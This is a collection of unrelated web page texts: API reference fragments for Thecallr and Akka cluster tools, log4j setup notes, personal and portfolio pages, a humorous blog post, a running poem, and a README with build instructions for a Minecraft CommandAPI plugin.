| Constructor with default API url. More... | |
Additional Inherited Members | |
| Properties inherited from ThecallrApi.Services.Client.ClientBaseService | |
| JsonRpcClient | client [get] |
| Object that manages JSON RPC requests. More... | |
This class allows you to retrieve static items.
| ThecallrApi.Services.Client.ListService.ListService | ( | string | url, |
| string | login, | ||
| string | password | ||
| ) |
Constructor.
| url | API url. |
| login | Login. |
| password | Password. |
| ThecallrApi.Services.Client.ListService.ListService | ( | string | login, |
| string | password | ||
| ) |
Constructor with default API url.
| login | Login. |
| password | Password. |
| Dictionary<string, Country> ThecallrApi.Services.Client.ListService.GetCountries | ( | ) |
This method retrieves all managed countries.
| NumberInfos ThecallrApi.Services.Client.ListService.GetNumberInfos | ( | string | number | ) |
This method retrieves informations on a specific phone number.
| number | Phone number to inspect. |
| Dictionary<int, Timezone> ThecallrApi.Services.Client.ListService.GetTimezones | ( | ) |
This method retrieves all managed timezones.


Reader, raconteur, wit, and Resonance FM podcasting maestro Salim Fadhley has kindly provided the technologically hopeless ingrates at Haemoglobin Towers with a Hooting Yard search facility, which you will have noted above. Harnessing the mighty power of the Dobson™ search engine, those zonk-eyed boffins at Google™ came up with an [insert mumbo jumbo] which allows you, my dear readers, to cut through all the twaddle and home in on precisely the information you require as you study for your doctorate in Hooting Yard studies.
That scalliwag Pansy Cradledew has already put this amazing new feature to the test. She writes: I have long been of the opinion that 99% of Hooting Yard is the sort of drivel I can well do without. Imagine my delight, then, to find that I can pinpoint with unerring accuracy all mentions of Little Severin the Mystic Badger, about whom I am writing a monograph.
In keeping with this new gung ho approach, I have added to the top of the page an at-a-glance note of the date of the most recent update. What will we think of next?


Patricia Filipovic
Warning! You are about to enter Fury's page! Enter at your own risk!
Some Background on Me
- University of Illinois at Chicago
- Computer tech in Marine Corp
- Worked in Tech, mostly mainframe, internet protocols and telco in Chicago
- Worked for startup in multiple positions. Tech support, training, quality assurance
Other Interesting Info
- Recently married!
- Aspiring fiction writer (fantasy/sci-fi)
- Gamer (mainly first-shooter but not limited to...)
- I'm a momma (two kiddos)
- Love my furrballs (two cats and a dog)
- Sports fan (both watching and participating)
- Passionate about Music (mostly electronic, hip hop, and heavy metal. But really, anything depending on mood)
Projects created at Epicodus
These are beginner projects that I've co-created (we work in pairs) in class.
The title of each project is the link! Enjoy!!
objectives
- First official html in class
- Basic elements
- Pushed to git
objectives
- Using this project practiced git commands
- Similar to hello project
objectives
- Recipe webpage
- Used git clone
- started with existing and cleaned it up
objectives
- html elements pratice
- used strong and em
- added photos
objectives
- Added to previous project a readme
- And additional styling elements
- published on github
objectives
- Created resort website
- Used multiple pages
- Inlcuded readme and styling
objectives
- same as island with new elements
- photos, sidebar
- published to github
objectives
- New webpage for cupcake bakery
- Added multiple pages
- Included a readme
objectives
- Webpage that included more complex css tags
- Used p and a tags, applying classes
- linked email and url
objectives
- Updated mostly css to include new tags
- Used div tags
- Used span tags
objectives
- Created a webpage for fav band
- Used float for photo and wrap text
- Created sidebars
objectives
- Created webpage on decorating
- Listed before during after photos
- Each photo had content
objectives
- Created shelter website
- Listed 3 animals
- Each had a profile and link
objectives
- Created a vacation site using Bootstrap
- Included container and jumbotron
- included blockquote and helper classes


This function should not be used. The Info Window has been removed from Microsoft Excel 97 or later.
Related Functions
FORMULA.GOTO Selects a named area or reference on any open workbook
GET.CELL Returns information about the specified cell
SELECT Selects a cell, worksheet object, or chart item
Return to index


This site serves as a platform to browse through my personal experiences and portfolio.
Do take a look at it and enjoy!
No dreamer is small & no dream is too big in this world.
Always serve to lead & lead to serve from the heart.
Constantly see change as an opportunity - Not a threat.
Always favouring and fighting for the few underdogs.


is an accompanying example to the Opera Animation Library documentation, demonstrating simple animation.
Activate to run the animation example. Every time that button is clicked, a rectangle will expand from 0×0 to 200px×200px size and from opacity 0 to opacity 1.0


What you want to do – and until when.
Finish app 24.12.2016
Do whatever for whoever, whenever. 24.12.2016
Lorem ipsum dolor sit amet. 24.12.2016
The brown fox jumps over the lazy dog. 24.12.2016
Pushing this button will remove all items in the list. After this, you'll need a beer anyway.
Full width
This is extended…


FreeCodeCamp News Cruiser
Popular
Loading FreeCodeCamp News...
Loading FreeCodeCamp News...
Loading FreeCodeCamp News...
Loading FreeCodeCamp News...
Loading FreeCodeCamp News...
Loading FreeCodeCamp News...
Loading FreeCodeCamp News...
Loading FreeCodeCamp News...
Loading FreeCodeCamp News...
Loading FreeCodeCamp News...
Previous
Next


When you work with us,you are a part of a team of commited collaborators. All aspects of our software development process are intergrated, interactive and agile.
Our approach unifies design, development and product management to create exceptional products.
we start each project by understanding your buiseness goals,the user needs and the product requirements
Then we help translate them into effective and elegant solutions.


Run Forrest Run ....
Once upon a time, there was a child
a bit lethargic, thinking - "will this unwind?" ...
In every PE class he sat on stands,
while others ran fast, he gave glance
Noone cared what was he missing,
coz everytime he ran, his heart was pounding
Years went by and he also didn't care
there was much to do, he thought
and said, "at least I am breathing same air"
nine years went by, he didn't care
And one day, a friend said
"I will run beside you, atleast try"
Then he ran with friend for the first time
he was happy even with 15 min. a mile !!!
Yeah that child is me. For almost my entire life I was not able to run for even 600 meters without gasping for air. But now I am so happy and thankful to the friend to make me realize the fun in running. Earlier I saw some running events in my hometown and I used to think- “what are they doing?”. On 17 May 2015, for the first time I became “they”. I ran 6 km in TCS Bangalore run.
It felt so amazing that I cannot describe it in words. The people had awesome energy. People of every age group were running with each other, telling all the way to keep going and not to stop. Result? Everybody, I mean everyone there, inspite of their body condition, completed the run.
I guess that’s the power of optimism. It influences more if it comes from other person. There’s a quote - “You don’t see the world as it is, you see it, as you are.” I have been an audience of running event as well as a participant and the experience of both is world’s apart.
I will continue running because it regenerates optimism and recharges with positive energy. And I guess those are enough ingredients to achieve any dream. Isn’t it?
P.S.: You don’t believe it? Give it a try …


Proximity uses the log4j package to provide logging messages during program execution. Log4j is part of the Apache Logging Services project, an open-source library of tools for cross-language logging services. Designed to minimize the cost of logging, log4j permits output of log messages at arbitrary granularity.
Log4j uses configuration files to determine the level of detail included in logging messages. To set the logging level in Proximity, you can
use the default settings (do not specify a configuration file)
use one of the configuration files included in the Proximity distribution
write your own configuration file
Proximity log4j configuration files are included in the
$PROX_HOME/example/config
directory.
See the Proximity Cookbook
for additional
information on creating log4j configuration files and for details on
the example configurations files included in the Proximity distribution.
Follow the instructions below to use one of the
log4j configuration files in Proximity.
Using the Proximity log4j configuration files
Copy the configuration file to the directory from which you
launch Proximity applications. (Tutorial exercises launch Proximity
applications from the $PROX_HOME
directory.)
Rename the configuration file to prox.lcf
.
Proximity automatically uses prox.lcf
as
the log4j configuration file.
For additional information on log4j, including how to create new
configuration files, see the project web pages
at logging.apache.org/log4j/docs/
.


The aggregator is to be mixed into an actor for the aggregator behavior.
This actor is intended to be used on an external node that is not member of the cluster.
ClusterClient connects to this actor to retrieve.
ClusterClient connects to this actor to retrieve. The ClusterReceptionist
is
supposed to be started on all nodes, or all nodes with specified role, in the cluster.
The receptionist can be started with the ClusterReceptionistExtension or as an
ordinary actor (use the factory method ClusterReceptionist#props).
The receptionist forwards messages from the client to the associated DistributedPubSubMediator,
i.e. the client can send messages to any actor in the cluster that is registered in the
DistributedPubSubMediator
. Messages from the client are wrapped in
DistributedPubSubMediator.Send, DistributedPubSubMediator.SendToAll
or DistributedPubSubMediator.Publish with the semantics described in
DistributedPubSubMediator.
Response messages from the destination actor are tunneled via the receptionist
to avoid inbound connections from other cluster nodes to the client, i.e.
the sender
, as seen by the destination actor, is not the client itself.
The sender
of the response messages, as seen by the client, is preserved
as the original sender, so the client can choose to send subsequent messages
directly to the actor in the cluster.
Manages singleton actor instance among all cluster nodes or a group of nodes tagged with a specific role.
Manages singleton actor instance among all cluster nodes or a group of nodes tagged with a specific role. At most one singleton instance is running at any point in time.
The ClusterSingletonManager is supposed to be started on all nodes,
or all nodes with specified role, in the cluster with actorOf
.
The actual singleton is started on the oldest node by creating a child
actor from the supplied singletonProps
.
The singleton actor is always running on the oldest member, which can be determined by akka.cluster.Member#isOlderThan. This can change when removing members. A graceful hand over can normally be performed when current oldest node is leaving the cluster. Be aware that there is a short time period when there is no active singleton during the hand-over process.
The cluster failure detector will notice when oldest node becomes unreachable due to things like JVM crash, hard shut down, or network failure. When the crashed node has been removed (via down) from the cluster then a new oldest node will take over and a new singleton actor is created. For these failure scenarios there will not be a graceful hand-over, but more than one active singletons is prevented by all reasonable means. Some corner cases are eventually resolved by configurable timeouts.
You access the singleton actor with actorSelection
using the names you have
specified when creating the ClusterSingletonManager. You can subscribe to
akka.cluster.ClusterEvent.MemberEvent and sort the members by age
(akka.cluster.ClusterEvent.Member#isOlderThan) to keep track of oldest member.
Alternatively the singleton actor may broadcast its existence when it is started.
Use factory method to create the akka.actor.Props for the actor.
singletonProps akka.actor.Props of the singleton actor instance.
singletonName The actor name of the child singleton actor.
terminationMessage When handing over to a new oldest node
this terminationMessage
is sent to the singleton actor to tell
it to finish its work, close resources, and stop.
The hand-over to the new oldest node is completed when the
singleton actor is terminated.
Note that akka.actor.PoisonPill is a perfectly fine
terminationMessage
if you only need to stop the actor.
role Singleton among the nodes tagged with specified role. If the role is not specified it's a singleton among all nodes in the cluster.
maxHandOverRetries When a node is becoming oldest it sends
hand-over request to previous oldest. This is retried with the
retryInterval
until the previous oldest confirms that the hand
over has started, or this maxHandOverRetries
limit has been
reached. If the retry limit is reached it takes the decision to be
the new oldest if previous oldest is unknown (typically removed),
otherwise it initiates a new round by throwing
akka.contrib.pattern.ClusterSingletonManagerIsStuck and expecting
restart with fresh state. For a cluster with many members you might
need to increase this retry limit because it takes longer time to
propagate changes across all nodes.
maxTakeOverRetries When a oldest node is not oldest any more
it sends take over request to the new oldest to initiate the normal
hand-over process. This is especially useful when new node joins and becomes
oldest immediately, without knowing who was previous oldest. This is retried
with the retryInterval
until this retry limit has been reached. If the retry
limit is reached it initiates a new round by throwing
akka.contrib.pattern.ClusterSingletonManagerIsStuck and expecting
restart with fresh state. This will also cause the singleton actor to be
stopped. maxTakeOverRetries
must be less than maxHandOverRetries
to
ensure that new oldest doesn't start singleton actor before previous is
stopped for certain corner cases.
Thrown when a consistent state can't be determined within the defined retry limits.
Thrown when a consistent state can't be determined within the defined retry limits. Eventually it will reach a stable state and can continue, and that is simplified by starting over with a clean state. Parent supervisor should typically restart the actor, i.e. default decision.
The ClusterSingletonProxy
works together with the akka.contrib.pattern.ClusterSingletonManager to provide a
distributed proxy to the singleton actor.
The ClusterSingletonProxy
works together with the akka.contrib.pattern.ClusterSingletonManager to provide a
distributed proxy to the singleton actor.
The proxy can be started on every node where the singleton needs to be reached and used as if it were the singleton itself. It will then act as a router to the currently running singleton instance. If the singleton is not currently available, e.g., during hand off or startup, the proxy will stash the messages sent to the singleton and then unstash them when the singleton is finally available. The proxy mixes in the akka.actor.Stash trait, so it can be configured accordingly.
The proxy works by keeping track of the oldest cluster member. When a new oldest member is identified, e.g., because the older one left the cluster, or at startup, the proxy will try to identify the singleton on the oldest member by periodically sending an akka.actor.Identify message until the singleton responds with its akka.actor.ActorIdentity.
Note that this is a best effort implementation: messages can always be lost due to the distributed nature of the actors involved.
This actor manages a registry of actor references and replicates the entries to peer actors among all cluster nodes or a group of nodes tagged with a specific role.
This actor manages a registry of actor references and replicates the entries to peer actors among all cluster nodes or a group of nodes tagged with a specific role.
The DistributedPubSubMediator
is supposed to be started on all nodes,
or all nodes with specified role, in the cluster. The mediator can be
started with the DistributedPubSubExtension or as an ordinary actor.
Changes are only performed in the own part of the registry and those changes are versioned. Deltas are disseminated in a scalable way to other nodes with a gossip protocol. The registry is eventually consistent, i.e. changes are not immediately visible at other nodes, but typically they will be fully replicated to all other nodes after a few seconds.
You can send messages via the mediator on any node to registered actors on any other node. There is three modes of message delivery.
1. DistributedPubSubMediator.Send -
The message will be delivered to one recipient with a matching path, if any such
exists in the registry. If several entries match the path the message will be sent
via the supplied routingLogic
(default random) to one destination. The sender of the
message can specify that local affinity is preferred, i.e. the message is sent to an actor
in the same local actor system as the used mediator actor, if any such exists, otherwise
route to any other matching entry. A typical usage of this mode is private chat to one
other user in an instant messaging application. It can also be used for distributing
tasks to registered workers, like a cluster aware router where the routees dynamically
can register themselves.
2. DistributedPubSubMediator.SendToAll - The message will be delivered to all recipients with a matching path. Actors with the same path, without address information, can be registered on different nodes. On each node there can only be one such actor, since the path is unique within one local actor system. Typical usage of this mode is to broadcast messages to all replicas with the same path, e.g. 3 actors on different nodes that all perform the same actions, for redundancy.
3. DistributedPubSubMediator.Publish - Actors may be registered to a named topic instead of path. This enables many subscribers on each node. The message will be delivered to all subscribers of the topic. For efficiency the message is sent over the wire only once per node (that has a matching topic), and then delivered to all subscribers of the local topic representation. This is the true pub/sub mode. A typical usage of this mode is a chat room in an instant messaging application.
4. DistributedPubSubMediator.Publish with sendOneMessageToEachGroup -
Actors may be subscribed to a named topic with an optional property group
.
If subscribing with a group name, each message published to a topic with the
sendOneMessageToEachGroup
flag is delivered via the supplied routingLogic
(default random) to one actor within each subscribing group.
If all the subscribed actors have the same group name, then this works just like
DistributedPubSubMediator.Send and all messages are delivered to one subscribe.
If all the subscribed actors have different group names, then this works like normal
DistributedPubSubMediator.Publish and all messages are broadcast to all subscribers.
You register actors to the local mediator with DistributedPubSubMediator.Put or
DistributedPubSubMediator.Subscribe. Put
is used together with Send
and
SendToAll
message delivery modes. The ActorRef
in Put
must belong to the same
local actor system as the mediator. Subscribe
is used together with Publish
.
Actors are automatically removed from the registry when they are terminated, or you
can explicitly remove entries with DistributedPubSubMediator.Remove or
DistributedPubSubMediator.Unsubscribe.
Successful Subscribe
and Unsubscribe
is acknowledged with
DistributedPubSubMediator.SubscribeAck and DistributedPubSubMediator.UnsubscribeAck
replies.
Marker trait for remote messages with special serializer.
A ReliableProxy is a means to wrap a remote actor reference in order to obtain certain improved delivery guarantees:
A ReliableProxy is a means to wrap a remote actor reference in order to obtain certain improved delivery guarantees:
These guarantees are valid for the communication between the two end-points of the reliable “tunnel”, which usually spans an unreliable network.
Note that the ReliableProxy guarantees at-least-once, not exactly-once, delivery.
Delivery from the remote end-point to the target actor is still subject to in-JVM delivery semantics (i.e. not strictly guaranteed due to possible OutOfMemory situations or other VM errors).
You can create a reliable connection like this:
In Scala:
val proxy = context.actorOf(ReliableProxy.props(target, 100.millis, 120.seconds)
or in Java:
final ActorRef proxy = getContext().actorOf(ReliableProxy.props( target, Duration.create(100, "millis"), Duration.create(120, "seconds")));
Please note: the tunnel is uni-directional, and original sender information is retained, hence replies by the wrapped target reference will go back in the normal “unreliable” way unless also secured by a ReliableProxy from the remote end.
This actor is an akka.actor.FSM, hence it offers the service of
transition callbacks to those actors which subscribe using the
and SubscribeTransitionCallBack
messages; see akka.actor.FSM for more documentation. The proxy will
transition into ReliableProxy.Active state when ACKs
are outstanding and return to the ReliableProxy.Idle
state when every message send so far has been confirmed by the peer end-point.UnsubscribeTransitionCallBack
The initial state of the proxy is ReliableProxy.Connecting. In this state the
proxy will repeatedly send akka.actor.Identify messages to ActorSelection(targetPath)
in order to obtain a new ActorRef
for the target. When an akka.actor.ActorIdentity
for the target is received a new tunnel will be created, a ReliableProxy.TargetChanged
message containing the target ActorRef
will be sent to the proxy's transition subscribers
and the proxy will transition into either the ReliableProxy.Idle or ReliableProxy.Active
state, depending if there are any outstanding messages that need to be delivered. If
maxConnectAttempts
is defined this actor will stop itself after Identify
is sent
maxConnectAttempts
times.
While in the Idle
or Active
states, if a communication failure causes the tunnel to
terminate via Remote Deathwatch the proxy will transition into the ReliableProxy.Connecting
state as described above. After reconnecting TargetChanged
will be sent only if the target
ActorRef
has changed.
If this actor is stopped and it still has outstanding messages a
ReliableProxy.ProxyTerminated message will be sent to the
transition subscribers. It contains an Unsent
object with the outstanding messages.
If an ReliableProxy.Unsent message is sent to this actor the messages contained within it will be relayed through the tunnel to the target.
Any other message type sent to this actor will be delivered via a remote-deployed child actor to the designated target.
All failures of either the local or the remote end-point are escalated to the parent of this actor; there are no specific error cases which are predefined.
See the constructor below for the arguments for this actor. However, prefer using akka.contrib.pattern.ReliableProxy#props to this actor's constructor.
Singleton coordinator that decides where to allocate shards.
Singleton coordinator that decides where to allocate shards.
This actor creates children entry actors on demand for the shards that it is told to be responsible for.
This actor creates children entry actors on demand for the shards that it is told to be
responsible for. It delegates messages targeted to other shards to the responsible
ShardRegion
actor on other nodes.
Fast, small, and dirty implementation of a linked list that removes transient work entries once they are processed.
Fast, small, and dirty implementation of a linked list that removes transient work entries once they are processed. The list is not thread safe! However it is expected to be reentrant. This means a processing function can add/remove entries from the list while processing. Most important, a processing function can remove its own entry from the list. The first remove must return true and any subsequent removes must return false.
The type of the item
Extension that starts ClusterReceptionist and accompanying DistributedPubSubMediator
with settings defined in config section akka.contrib.cluster.receptionist
.
Extension that starts ClusterReceptionist and accompanying DistributedPubSubMediator
with settings defined in config section akka.contrib.cluster.receptionist
.
The DistributedPubSubMediator is started by the DistributedPubSubExtension.
This extension provides sharding functionality of actors in a cluster.
This extension provides sharding functionality of actors in a cluster. The typical use case is when you have many stateful actors that together consume more resources (e.g. memory) than fit on one machine. You need to distribute them across several nodes in the cluster and you want to be able to interact with them using their logical identifier, but without having to care about their physical location in the cluster, which might also change over time. It could for example be actors representing Aggregate Roots in Domain-Driven Design terminology. Here we call these actors "entries". These actors typically have persistent (durable) state, but this feature is not limited to actors with persistent state.
In this context sharding means that actors with an identifier, so called entries, can be automatically distributed across multiple nodes in the cluster. Each entry actor runs only at one place, and messages can be sent to the entry without requiring the sender to know the location of the destination actor. This is achieved by sending the messages via a ShardRegion actor provided by this extension, which knows how to route the message with the entry id to the final destination.
This extension is supposed to be used by first, typically at system startup on each node
in the cluster, registering the supported entry types with the ClusterSharding#start
method and then the ShardRegion
actor for a named entry type can be retrieved with
ClusterSharding#shardRegion. Messages to the entries are always sent via the local
ShardRegion
. Some settings can be configured as described in the akka.contrib.cluster.sharding
section of the reference.conf
.
The ShardRegion
actor is started on each node in the cluster, or group of nodes
tagged with a specific role. The ShardRegion
is created with two application specific
functions to extract the entry identifier and the shard identifier from incoming messages.
A shard is a group of entries that will be managed together. For the first message in a
specific shard the ShardRegion
request the location of the shard from a central coordinator,
the ShardCoordinator. The ShardCoordinator
decides which ShardRegion
that
owns the shard. The ShardRegion
receives the decided home of the shard
and if that is the ShardRegion
instance itself it will create a local child
actor representing the entry and direct all messages for that entry to it.
If the shard home is another ShardRegion
instance messages will be forwarded
to that ShardRegion
instance instead. While resolving the location of a
shard incoming messages for that shard are buffered and later delivered when the
shard home is known. Subsequent messages to the resolved shard can be delivered
to the target destination immediately without involving the ShardCoordinator
.
To make sure that at most one instance of a specific entry actor is running somewhere
in the cluster it is important that all nodes have the same view of where the shards
are located. Therefore the shard allocation decisions are taken by the central
ShardCoordinator
, which is running as a cluster singleton, i.e. one instance on
the oldest member among all cluster nodes or a group of nodes tagged with a specific
role. The oldest member can be determined by akka.cluster.Member#isOlderThan.
The logic that decides where a shard is to be located is defined in a pluggable shard
allocation strategy. The default implementation ShardCoordinator.LeastShardAllocationStrategy
allocates new shards to the ShardRegion
with least number of previously allocated shards.
This strategy can be replaced by an application specific implementation.
To be able to use newly added members in the cluster the coordinator facilitates rebalancing
of shards, i.e. migrate entries from one node to another. In the rebalance process the
coordinator first notifies all ShardRegion
actors that a handoff for a shard has started.
That means they will start buffering incoming messages for that shard, in the same way as if the
shard location is unknown. During the rebalance process the coordinator will not answer any
requests for the location of shards that are being rebalanced, i.e. local buffering will
continue until the handoff is completed. The ShardRegion
responsible for the rebalanced shard
will stop all entries in that shard by sending PoisonPill
to them. When all entries have
been terminated the ShardRegion
owning the entries will acknowledge the handoff as completed
to the coordinator. Thereafter the coordinator will reply to requests for the location of
the shard and thereby allocate a new home for the shard and then buffered messages in the
ShardRegion
actors are delivered to the new location. This means that the state of the entries
are not transferred or migrated. If the state of the entries are of importance it should be
persistent (durable), e.g. with akka-persistence
, so that it can be recovered at the new
location.
The logic that decides which shards to rebalance is defined in a pluggable shard
allocation strategy. The default implementation ShardCoordinator.LeastShardAllocationStrategy
picks shards for handoff from the ShardRegion
with most number of previously allocated shards.
They will then be allocated to the ShardRegion
with least number of previously allocated shards,
i.e. new members in the cluster. There is a configurable threshold of how large the difference
must be to begin the rebalancing. This strategy can be replaced by an application specific
implementation.
The state of shard locations in the ShardCoordinator
is persistent (durable) with
akka-persistence
to survive failures. Since it is running in a cluster akka-persistence
must be configured with a distributed journal. When a crashed or unreachable coordinator
node has been removed (via down) from the cluster a new ShardCoordinator
singleton
actor will take over and the state is recovered. During such a failure period shards
with known location are still available, while messages for new (unknown) shards
are buffered until the new ShardCoordinator
becomes available.
As long as a sender uses the same ShardRegion
actor to deliver messages to an entry
actor the order of the messages is preserved. As long as the buffer limit is not reached
messages are delivered on a best effort basis, with at-most once delivery semantics,
in the same way as ordinary message sending. Reliable end-to-end messaging, with
at-least-once semantics can be added by using channels in akka-persistence
.
Some additional latency is introduced for messages targeted to new or previously unused shards due to the round-trip to the coordinator. Rebalancing of shards may also add latency. This should be considered when designing the application specific shard resolution, e.g. to avoid too fine grained shards.
The ShardRegion
actor can also be started in proxy only mode, i.e. it will not
host any entries itself, but knows how to delegate messages to the right location.
A ShardRegion
starts in proxy only mode if the roles of the node does not include
the node role specified in akka.contrib.cluster.sharding.role
config property
or if the specified entryProps
is None
/null
.
If the state of the entries are persistent you may stop entries that are not used to
reduce memory consumption. This is done by the application specific implementation of
the entry actors for example by defining receive timeout (context.setReceiveTimeout
).
If a message is already enqueued to the entry when it stops itself the enqueued message
in the mailbox will be dropped. To support graceful passivation without loosing such
messages the entry actor can send ShardRegion.Passivate to its parent ShardRegion
.
The specified wrapped message in Passivate
will be sent back to the entry, which is
then supposed to stop itself. Incoming messages will be buffered by the ShardRegion
between reception of Passivate
and termination of the entry. Such buffered messages
are thereafter delivered to a new incarnation of the entry.
Extension that starts a DistributedPubSubMediator actor
with settings defined in config section akka.contrib.cluster.pub-sub
.
Provides the utility methods and constructors to the WorkList class.
This actor is intended to be used on an external node that is not member of the cluster. It acts like a gateway for sending messages to actors somewhere in the cluster. From the initial contact points it will establish a connection to a ClusterReceptionist somewhere in the cluster. It will monitor the connection to the receptionist and establish a new connection if the link goes down. When looking for a new receptionist it uses fresh contact points retrieved from previous establishment, or periodically refreshed contacts, i.e. not necessarily the initial contact points.
You can send messages via the
ClusterClient
to any actor in the cluster that is registered in the ClusterReceptionist. Messages are wrapped in ClusterClient.Send, ClusterClient.SendToAll or ClusterClient.Publish.1. ClusterClient.Send - The message will be delivered to one recipient with a matching path, if any such exists. If several entries match the path the message will be delivered to one random destination. The sender of the message can specify that local affinity is preferred, i.e. the message is sent to an actor in the same local actor system as the used receptionist actor, if any such exists, otherwise random to any other matching entry.
2. ClusterClient.SendToAll - The message will be delivered to all recipients with a matching path.
3. ClusterClient.Publish - The message will be delivered to all recipients Actors that have been registered as subscribers to to the named topic.
Use the factory method ClusterClient#props) to create the akka.actor.Props for the actor.


My name is Miguel Guerrero 👋.
I am an impact entrepreneur and data professional, with significant experience as teacher, project manager and management consultant. I founded Saturdays.AI, where anyone can learn artificial intelligence while building social impact projects. I have founded other projects and companies.. you can say I like to start and grow things 😀.
If you want to know more about me, you probably want to follow me on Twitter for more up-to-date content. Also you are very welcome to connect in Linkedin 🤝. I like coding and open source, this is my GitHub, feel free to use anything that may help you.
My life mission is to be a good dad to my three children, and I strive to leave a better world than I found, both things are very related, but not always complementary. I love to learn about everything, but specially things related to tech, science and history, I was one of those kids reading encyclopedias for fun. Also I like to have good conversations, watching movies and running outdoors.


An API to use the new command UI introduced in Minecraft 1.13. _(Despite the name, this API is compatible for Minecraft versions 1.13 - 1.16.1)_
Downloads & Documentation (includes usage for server owners)
The documentation has moved! You can now get your hands on the latest and greatest documentation on the CommandAPI website!
Purpose
This project provides an API to help Bukkit/Spigot developers use the new Minecraft 1.13 command UI, which includes:
Better commands - Prevent players from running invalid commands, making it easier for developers
Better arguments - Easily switch from Location arguments to raw JSON, fully supported with built-in error checking
Support for proxied command senders - Run your command as other entities using /execute as ... run command
- Support for the
/execute
command - Let your command to be executed by the built in /execute
command
- Support for Minecraft's functions - Allow your command to be executed from Minecraft's functions and tags
- No plugin.yml registration - Commands don't need to be registered in the
plugin.yml
file anymore
- You don't need Brigadier - You don't need to import Brigadier in your projects to use the CommandAPI
- No tracking - We don't collect any stats about our plugin; what you see is what you get!
Building the CommandAPI
The CommandAPI can be built easily, but requires copies of the Spigot server jars to be present locally on your machine in order to be compatible with any Minecraft version. The CommandAPI is built using the Maven build tool - if you don't have it, you can download it here.
- Clone the repository using your preferred method, or with the command below:
git clone https://github.com/JorelAli/1.13-Command-API.git
- Go into the folder named
1.13CommandAPI
_(Not to be confused with the folder named 1.13-Command-API
, which is what is cloned)_. You want the folder which contains pom.xml
.
- Ensure you have the required spigot server jars (see below)
- Run
mvn clean install
Spigot Libraries
To build the CommandAPI, the following versions of Spigot are required:
| | | |
| 1.13 versions | 1.13 | 1.13.1 | 1.13.2 |
| 1.14 versions | 1.14.2 | 1.14.3 | 1.14.4 |
| 1.15 versions | 1.15.2 | | |
| 1.16 versions | 1.16.1 | | |
These versions of Minecraft must be installed in your local machine's Maven repository (~/.m2
). The easiest way to do this is to build them manually using Spigot's BuildTools, as it automatically adds it to the .m2
local repository folder.
Building them using BuildTools + downloadSpigot file
- Download the
BuildTools.jar
file from here and place it in a separate directory _(trust me, this gets messy pretty quickly)_
- Download the
downloadSpigot
file from this repository:
- If on Windows:
- Download the
downloadSpigot.bat
file from this repository (or just right click here, save as...)
- Copy the
downloadSpigot.bat
file into the same directory as the BuildTools.jar
file
- Double click on the
downloadSpigot.bat
file to run it
- If on Linux/MacOS:
- If on linux/mac, download the
downloadSpigot.sh
file from this repository (or just right click here, save as...)
- Copy the
downloadSpigot.sh
file into the same directory as the BuildTools.jar
file
- Open up a terminal in your folder and make the
downloadSpigot.sh
file executable by using chmod u+x ./downloadSpigot.sh
- Run the
downloadSpigot
file using ./downloadSpigot.sh
Note: Sometimes, the downloadSpigot
file doesn't work because of incompatibilities with cloning certain files it needs. If for any reason, downloadSpigot stops working, delete the directories created (BuildData, Bukkit, CraftBukkit, Spigot and work) and re-run the downloadSpigot file.
Building them using BuildTools + manual command line
- Download the
BuildTools.jar
file from here and place it in a separate directory _(trust me, this gets messy pretty quickly)_
- Use the command
java -jar BuildTools.jar --rev <VERSION>
to download the specific version of the Spigot.jar you need. For example, to download Spigot for 1.14.4, use java -jar BuildTools.jar --rev 1.14.4
Changelog
- Version 3.0
- Note: This version is incompatible with pre 3.0 versions CommandAPI plugins (See documentation for more information)
- Complete code refactor to make command syntax slightly more intuitive and consistent
- Removes lots of reflection to improve performance
- Adds better documentation
- Adds JavaDocs
- Adds support for 1.16.1
- Adds new command executors (These let you filter commands based on what type of command executor runs the command):
- Player command executors
- Command block command executors
- Console command executors
- Entity command executors
- Proxied command executors
- Adds new arguments:
- Axis Argument
- Biome Argument
- ChatColor Argument
- Chat Argument
- FloatRange Argument
- IntegerRange Argument
- Location2D Argument
- MathOperation Argument
- NBT Argument (NBTAPI required)
- Scoreboard arguments:
- Objective Argument
- ObjectiveCriteria Argument
- ScoreboardSlot Argument
- ScoreHolder Argument
- Team Argument
- Time Argument
- Rotation Argument
- Environment Argument
- Removes old arguments:
- SuggestedStringArgument
- DynamicSuggestedStringArgument
- DefinedCustomArguments
- Version 2.2a
- Adds support for Minecraft 1.15, 1.15.1 and 1.15.2
- Version 2.2
- Adds support for Minecraft 1.13 and 1.13.1 _(Funny isn't it? It's called the 1.13 CommandAPI but never supported Minecraft 1.13 until now)_
- Improves support for different versions
- Adds pointless witty comments into changelog notes
- Adds 1.13-Command-API-SafeReflection library to greatly improve reliability of reflection calls
- Version 2.1
- Adds RecipeArgument
- Adds SoundArgument
- Adds AdvancementArgument
- Adds LootTableArgument
- Adds support for 1.14.3 and 1.14.4
- Fixes bug where aliases weren't registering properly (#43)
- Fix documentation for tooltips
- Improve documentation for dependencies and repositories
- Version 2.0.1
- Fix a bug where Brigadier was required as a dependency to build plugins
- Version 2.0
- Compatibility for 1.14
- Major overhaul of the CommandAPI's internals - greatly improves performance
- Deprecates SuggestedStringArgument, adding overrideSuggestions as an alternative for any argument type
- Adds CustomArguments, allowing you to create your own ... custom arguments
- Excludes dependencies from final jar (#40)
- Adds DefinedCustomArguments - CustomArguments that have been created by yours truly
- DynamicSuggestedArguments now have access to the CommandSender (#41)
- Adds Loot Table support
- Version 1.8.2
- Fix bug with PlayerArgument when player cannot be found
- Adds LocationArgument options for block precision or exact precision
- Version 1.8.1
- Fix permissions for argument from 1.8
- Neaten up logging with verbose outputs
- Version 1.8
- Fix bugs where DynamicSuggestedArguments don't work as the last argument
- Fix support for latest spigot version
- Adds permissions for arguments
- Adds support to override suggestions for arguments
- Version 1.7.2
- Fix a bug where default return value was 0 instead of 1, causing issues with commandblocks
- Version 1.7.1
- Fix a bug with permission checks. Other than that, it's the same as 1.7 (in terms of documentation)
- Version 1.7
- Adds DynamicSuggestedStringArguments for dynamically updating suggestions
- Adds support for
success
and result
values for /execute store
- Overhaul permissions system so it works properly
- Note: This version is incompatible with pre-1.7 version CommandAPI plugins
- Version 1.6
- Adds FunctionArguments to handle Minecraft functions
- Remove useless test code
- Fix bug with ProxiedCommandSender callee and caller
- Adds Converter for legacy plugin support
- Improved performance by caching NMS better than in version 1.5
- Version 1.5
- Adds ChatComponentArgument to handle raw JSON
- Adds SuggestedStringArgument to suggest strings
- Adds config file
- Fix bug where command errors weren't being thrown
- Improved performance by caching NMS
- Version 1.4
- Fix critical bug where arguments weren't being handled properly
- Adds GreedyStringArgument
- Adds various Exception classes
- Version 1.3
- Migrate to Maven
